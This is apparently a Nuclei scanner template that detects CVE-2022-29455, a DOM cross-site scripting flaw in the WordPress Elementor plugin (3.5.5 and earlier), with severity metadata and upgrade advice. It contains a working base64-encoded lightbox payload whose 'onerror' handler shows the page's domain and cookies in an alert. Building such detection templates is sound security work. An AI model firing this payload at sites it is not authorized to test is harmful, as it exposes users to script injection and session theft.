id: CVE-2022-29455-headless

info:
  name: WordPress Elementor Website Builder <= 3.5.5 - DOM Cross-Site Scripting
  author: rotembar,daffainfo
  severity: medium
  description: |
    WordPress Elementor Website Builder plugin 3.5.5 and prior contains a reflected cross-site scripting vulnerability via the document object model.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade WordPress Elementor Website Builder to version 3.5.6 or later to mitigate this vulnerability.
  reference:
    - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor
    - https://www.rotem-bar.com/elementor
    - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29455
    - https://wordpress.org/plugins/elementor/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
    epss-score: 0.2318
    epss-percentile: 0.97538
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: elementor
    product: website_builder
    framework: wordpress
  tags: cve,cve2022,xss,wordpress,elementor,vuln

headless:
  - steps:
      - args:
          url: "{{BaseURL}}/#elementor-action:action=lightbox&settings=ewogICAgInR5cGUiOiAidmlkZW8iLAogICAgInVybCI6ICJodHRwOi8vIiwKICAgICJ2aWRlb1R5cGUiOiAiaG9zdGVkIiwKICAgICJ2aWRlb1BhcmFtcyI6IHsKICAgICAgICAib25lcnJvciI6ImFsZXJ0KGRvY3VtZW50LmRvbWFpbisnICcrZG9jdW1lbnQuY29va2llKSIsCiAgICAgICAgInN0eWxlIjogImJhY2tncm91bmQtY29sb3I6cmVkIgogICAgfQp9"
        action: navigate

      - action: waitdialog
        name: elementor_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - elementor_dom == true

      - type: word
        part: body
        words:
          - "elementor"
        case-insensitive: true
# digest: 4b0a00483046022100f8e1f16528f7778512e673ad4a03919fcfef6379b13f7037d82a6f1e09b67b9502210085e7cefaa3613d2c92258a390dea8a9e5611d28913069e655fb4fe5c86b1a17d:922c64590222798bb761d5b6d8e72950